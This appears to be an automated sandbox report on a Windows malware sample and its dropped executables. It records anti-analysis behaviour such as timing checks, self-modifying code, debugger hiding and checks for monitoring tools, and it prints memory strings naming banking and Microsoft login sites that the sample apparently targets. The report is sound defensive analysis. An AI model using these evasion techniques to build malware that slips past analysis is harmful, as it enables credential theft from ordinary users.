Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0824 second address: 4EA0855 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, 0AA39F06h 0x0000000b popad 0x0000000c push ecx 0x0000000d jmp 00007FA6B11DE25Ah 0x00000012 mov dword ptr [esp], ebx 0x00000015 jmp 00007FA6B11DE260h 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0855 second address: 4EA0859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0859 second address: 4EA0876 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE269h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0876 second address: 4EA087C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA087C second address: 4EA0880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0880 second address: 4EA0884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0884 second address: 4EA0893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CD17AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D586A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10917AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11186A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Special instruction interceptor: First address: 95BBC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Special instruction interceptor: First address: 95BAE3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Special instruction interceptor: First address: B012F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Special instruction interceptor: First address: AFF8EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Special instruction interceptor: First address: 95BAEA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Special instruction interceptor: First address: B8A419 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: DAC2AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: C0B9B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: DB7C15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: E3AA43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Special instruction interceptor: First address: 102FAD2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Special instruction interceptor: First address: 102FBA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Special instruction interceptor: First address: 11C6564 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Special instruction interceptor: First address: 32DA2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Special instruction interceptor: First address: 32DB30 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Special instruction interceptor: First address: 4EC6C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Special instruction interceptor: First address: 4D741A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Special instruction interceptor: First address: 5625C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: 685DA2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: 685DB30 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: 6A1C6C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: 6A0741A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: 6A925C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Special instruction interceptor: First address: 33427E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Special instruction interceptor: First address: 686427E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Memory allocated: 50D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Memory allocated: 5300000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Memory allocated: 5130000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EF0C0A rdtsc

0_2_04EF0C0A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7672	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7652	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7652	Thread sleep time: -132066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7632	Thread sleep count: 241 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7632	Thread sleep time: -7230000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7668	Thread sleep count: 80 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7668	Thread sleep time: -160080s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7656	Thread sleep count: 68 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7656	Thread sleep time: -136068s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7648	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7648	Thread sleep time: -120060s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep count: 83 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep time: -166083s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7744	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7632	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe TID: 7900	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe TID: 7904	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe TID: 8064	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe TID: 8036	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe TID: 8144	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe TID: 7388	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe TID: 2368	Thread sleep count: 78 > 30
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe TID: 2368	Thread sleep time: -468000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmp, e5323e2eed.exe, e5323e2eed.exe, 00000007.00000002.3417304751.0000000000AE2000.00000040.00000001.01000000.0000000A.sdmp, 8ab7de79e4.exe, 00000009.00000002.3415055168.00000000011A9000.00000040.00000001.01000000.0000000C.sdmp, 51d383286f.exe, 0000000A.00000002.3470760723.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3410308950.0000000000D8D000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000006.00000002.3419368959.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: file.exe, 00000000.00000002.2101252209.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\P4<
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.000000000178E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware:
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 51d383286f.exe, 00000008.00000003.3005078237.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2990014890.0000000001778000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2972431197.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973490567.0000000001779000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3052144579.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3027483496.0000000001777000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2955646578.000000000177B000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3011062544.0000000001777000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2991245775.0000000001776000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: e5323e2eed.exe, 00000007.00000002.3426311190.000000000147E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3299157222.000001D15F7C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.000000000178E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 51d383286f.exe, 00000008.00000003.3005078237.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2990014890.0000000001778000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2972431197.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973490567.0000000001779000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3052144579.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3027483496.0000000001777000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2955646578.000000000177B000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3011062544.0000000001777000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2991245775.0000000001776000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3063411149.0000000001774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;'
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2100060652.0000000000CB5000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2125073333.0000000001075000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2129817070.0000000001075000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmp, e5323e2eed.exe, 00000007.00000002.3417304751.0000000000AE2000.00000040.00000001.01000000.0000000A.sdmp, 8ab7de79e4.exe, 00000009.00000002.3415055168.00000000011A9000.00000040.00000001.01000000.0000000C.sdmp, 51d383286f.exe, 0000000A.00000002.3470760723.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3410308950.0000000000D8D000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 51d383286f.exe, 0000000A.00000003.3163528453.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: firefox.exe, 0000001B.00000002.3299157222.000001D15F79E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EF0C0A rdtsc

0_2_04EF0C0A

